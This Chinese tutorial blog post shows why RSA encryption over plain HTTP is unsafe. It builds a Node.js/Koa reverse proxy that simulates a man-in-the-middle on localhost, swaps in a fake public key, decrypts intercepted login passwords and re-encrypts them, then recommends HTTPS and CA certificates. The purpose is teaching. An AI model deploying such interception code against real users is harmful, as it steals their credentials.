安全地在前后端之间传输数据 - 「3」真的安全吗?

原创
2021/04/26 07:57
阅读数 157

前置阅读:


「2」注册和登录示例中,我们通过非对称加密算法实现了浏览器和 Web 服务器之间的安全传输。看起来一切都很美好,但是危险就在哪里,有些人发现了,有些人嗅到了,更多人却浑然不知。就像是给门上了把好锁,还派了个人盯着,却没发现坏人已经从窗户潜进去了。

废话少说,先公布答案:不安全!

如果想要安全,目前最优解仍然是使用 HTTPS

为什么不安全

不过为什么不安全呢?请思考一个问题:数据加密是基于服务器送过来的公钥,但是这个公钥确实是服务器发出来的那一个吗?

基于 HTTP 的传输是明文的,而且浏览器和服务器之间要经过若干网络节点(路由等),谁知道公钥在传输的过程中没有被掉包!

如果公钥被掉包了,服务器知道吗,它还能用原来的私钥把数据解出来吗?

带着这些个疑问,来看一张图:

在浏览器和服务器的传输过程中,黑客可以劫持服务器发放的公钥,并用自己产生的假公钥替换之,狸猫换太子。而后加密数据的传输过程中,黑客可以用自己的私钥解密(因为是用他发的假公钥加的密),并用正确的公钥加密送给服务器。这样就在浏览器和服务器都感知不到的情况下,把数据给偷走了。这种行为,称为中间人劫持攻击,上图的黑客就是那个中间人。

模拟中间人劫持

真实的中间人劫持过程也不是很简单的事情,不过我们想研究这个过程的话,可以模拟。

如果有两台计算机,可以用一台部署服务,另一台部署模拟的中间人。然后假设 DNS 被劫持(可以在路由器或客户机上配置 HOSTS),本来应该发送到服务器的请求,发送到中间人那里去了。而中间人就像代理服务器一样,在浏览器和服务器之间传递信息。

在一台计算机的情况下,可以将正确的服务启动在 80 端口,而将模拟的中间人服务启动在 3000  端口,然后访问 http://localhost:3000 来假装被劫持。

创造一个中间人

我们用 Node.js 来模拟中间人,使用 koa-better-http-proxy 搭建反向代理,同时劫持 GET /api/public-key(获取公钥)、POST /api/user(注册) 和 POST /api/user/login(登录)三个 API。劫持「获取公钥」和「注册」两个接口就可以拿到用户的密码,但是在劫持「获取公钥」并替换掉公钥之后,必须要对所有加密数据进行「解密-重新加密」的处理,不然服务器不能获取正确的加密数据(浏览器使用中间人的证书加密的数据,服务端没有配对的私钥,解不出来)。

搭建一个叫 intermediator-demo 的 Node.js 项目,主要的模块有:

  • koa,Web 框架

  • koa-better-http-proxy,Koa 的反向代理中间件

  • qs,主要用来处理 POST 请求的 payload

主要项目结构:

 INTERMEDIATOR-DEMO
  ├── server             // 服务端业务逻辑
  │   ├── interceptor.js // 劫持处理管理工具函数(注册/执行等)
  │   ├── hack.js        // 劫持处理请求/响应的逻辑
  │   ├── rsa.js         // 加解密相关工具,基本上是从服务端拷贝过来的
  │   └── index.js       // 服务端应用入口
  ├── .editorconfig
  ├── .eslintrc.js
  ├── .gitignore
  └── package.json

index.js 中的反向代理

使用 koa-better-http-proxy 搭建反向代理比较简单,只需要在 Koa 实例中使用代理中间件即可,大致逻辑如下:

 import Koa from "koa";
 import proxy from "koa-better-http-proxy";
 
 const app = new Koa();
 app.use(
     proxy(
         "localhost",
         {
             proxyReqBodyDecorator: ...,  // 省略号占位示意
             userResDecorator: ...,       // 省略号占位示意
         }
     )
 );
 
 app.listen(3000, () => {
     console.log("intermediator at: http://localhost:3000/");
 });

这里 proxyReqBodyDecoratoruserResDecorator 中分别用来劫持请求和响应,怎么使用在文档中都说得很清楚。

劫持公钥 GET /api/public-key

劫持公钥的过程是将服务器返回的公钥保存起来,然后返回自己发的假公钥:

 userResDecorator: (res, resDataBuffer, ctx) => {
     const { req } = res;
     const { method, path } = req;
     if (method === "GET" && path === "/api/public-key") {
         // resDataBuffer 是 Buffer 类型,需要先转成字符串
         const text = resDataBuffer.toString("utf8");
         const { key } = JSON.parse(text);
         // 保存服务器发过来的「真·公钥」
         saveRealPublicKey(key);
         // 响应自己发的「假·公钥」
         return JSON.stringify({ key: await getPublicKey() });
     } else {
         // 其他情况不劫持,直接返回原响应内容
         return resDataBuffer;
     }
 }

先根据 methodpath 确定要劫持的请求,然后从服务器响应中拿到真实的公钥用 saveRealPublicKey() 保存到 .data/REAL-KEY 文件中。这里的 saveRealPublicKey() 可以参照上一节中 rsa.js 中保存公钥的部分:

 const filePathes = {
     ......
     real: path.join(".data", "REAL-KEY"),
 }
 
 export async function saveRealPublicKey(key) {
     return fsPromise.writeFile(filePathes.real, key);
 }

后面用到的 getPublicKey() 就是上一节写的那个,因为中间人也会像服务器一样产生密钥对。

重构:添加劫持管理工具

写完对 GET /api/public-key 的劫持之后,可以发现,每次劫持都需要根据 methodpath(或前缀、匹配模式等)来对劫持处理,进行逻辑分支。既然如此,不妨写一个简单的劫持管理工具,配置管理 methodpathhandler(劫持处理)之间的关系,并自动匹配调用处理函数。

这样一来,只需要按劫持阶段(请求/响应)分成两个配置:requestInterceptorsresponseInterceptors,这是两个数组,其中的元素结构是:

 {
     "method": "字符串,匹配 HTTP 方法,使用 === 精确比较",
     "test": "匹配函数,根据请求地址判断是否匹配得上",
     "handler": "处理函数,对匹配上的进行调用进行劫持逻辑处理",
 }

注册逻辑是:

 function register(method, test, fn) {
     // 这里是 requestInterceptors 或 responseInterceptors
     xxxInterceptors.push({
         method,
         // 如果 test 是提供的字符串,就处理成精确相等的判断函数
         test: typeof path === "function" ? test : path => path === test,
         handler: fn,
     });
 }

调用的逻辑是(请求和响应相似,只是取 methodpath 的细节略有不同):

 // 以响应的逻辑为例
 function invoke(res, dataBuffer, ctx) {
     const { req } = res;
     const { method, path } = req;
     const interceptor = responseInterceptors
         .find(opt => opt.method === method && opt.test(path));
 
     // 没有注册劫持逻辑,直接返回原响应内容
     if (!interceptor) { return dataBuffer; }
     // 找到注册逻辑,调用其处理函数
     return interceptor.handler(res, dataBuffer, ctx);
 }

由于在处理响应的时候,一般都需要把 Buffer 类型的 dataBuffer 转换成字符串类型,所以可以在调用之前做一些预处理。本文讲逻辑,不详述这些改进细节,需要了解细节请阅读文末提供的示例源代码。

劫持注册/和登录

劫持注册和登录都需要在请求阶段进行,将请求中加密的密码,用自己的「假·私钥」解出来,再用保存的「真·公钥」加密送给服务器。由于在这次的示例中,注册和登录的 payload 完全相同,都是 { username, password },所以可以用同一个劫持处理逻辑:

 (bodyBuffer, ctx) => {
     // bodyBuffer 转换成字符串是 QueryString 格式的 payload 数据
     const body = qs.parse(bodyBuffer.toString("utf8"));
     // 使用「假·私钥」解密,这跟上一节解密一样
     const originalPassword = await decrypt(body.password);
     // 获取加密数据原文,进行保存等业务处理(这里用输出到控制台代替)
     console.log("[拦截到密码]", `${originalPassword} (${body.username})`);
     // 使用「真·公钥」加密,encrypt 稍后说明
     body.password = await encrypt(originalPassword);
     // 不能直接返回对象,可以是字符串或 Buffer
     return qs.stringify(body);
 }

其中 decrypt() 就是上一节服务端的那个。不过上一节服务端没有 encrypt(),所以需要用 crypto 模块写一个 encrypt() 方法。中间人只需要用「真·公钥」加密,所以获取密钥逻辑可以直接封装成 encrypt() 中。

 export async function encrypt(data) {
     // 获取「真·公钥」
     const key = await getRealPublicKey();
 
     return crypto.publicEncrypt(
         {
             key,
             // 别忘了指定 PKCS#1 Padding
             padding: crypto.constants.RSA_PKCS1_PADDING,
         },
         Buffer.from(data, "utf-8"),
     ).toString("base64");
 }

跑起来试试

写代码总会有 BUG,调试的过程中肯定还要做一些修整。最终,中间人在 http://localhost:3000/ 提供了服务。因为中间人实际是一个代理服务,所以原来在 http://localhost/ 跑的真实服务也需要启动起来。

现在假装已经被黑客劫持,所以我们直接访问 http://localhost:3000/,可以看到界面,也可以像原来一样的操作,就跟没有中间人一样,毫无异样的感觉。

不过在中间人的控制台中,我们可以看到被劫持到的密码原文

通过上面的实验,我们已经可以证明:公钥可能被劫持,非对称加密也有漏洞

好可怕,怎么办?

由于中间人劫持,我们必须想办法用安全的手段去拿到正确的公钥。

有一个很直接很暴力的办法:亲自去服务提供方拿公钥 —— 这个办法确实有效,但不实用。

另一个办法,我们不去服务器上拿公钥,而是去一个值得信任的地方拿公钥。

那么,哪里是可信的?

CA(证书签发机构)是可信的。但是要去 CA 拿证书,仍然需要通过网络,仍然可能被劫持。CA 会怎么办?

CA 会对发出来的证书进行签名,客户方拿到数据之后,可以使用 CA 的公钥来验证签名是否正确。这样可以保证拿到的数据不被篡改。但是经过逻辑推导,会发现:获取 CA 公钥的时候仍然存在被劫持的可能 …… 兜兜转转,难道无解?

如果一切依赖于网络传输,真的无解。不过 CA 的公钥并不是通过网络去获取的,而是操作系统/浏览器内置的,这就类似前面所说的第一种办法,直接由操作系统/浏览器供应商(Microsoft、Apple、Mozilla 等)拿到,内置在系统中。这些证书由 CA 和供应商提供信誉保障。因为它们是证书信任链的起点,所以称为根证书。

好了,逻辑通了,但是研究的结果很明显:安全的传输过程离不开 CA 参与,而有 CA 参与了,何苦还要自己去写加密/解密,直接用 HTTPS 不香么

这么说来,我们这三篇文章的研究不是白干了?也没有,至少有两个收获:

  • 科谱了安全传输的相关基础知识(有没有意识到盗版操作系统的风险?);

  • 如果实在没条件上 HTTPS,至少知道一个相对安全的传输方法,而且明白其面临的风险。

源码下载

  • 请移步「阅读原文」去获取链接哦!



本文分享自微信公众号 - 边城客栈(fancyidea-full)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部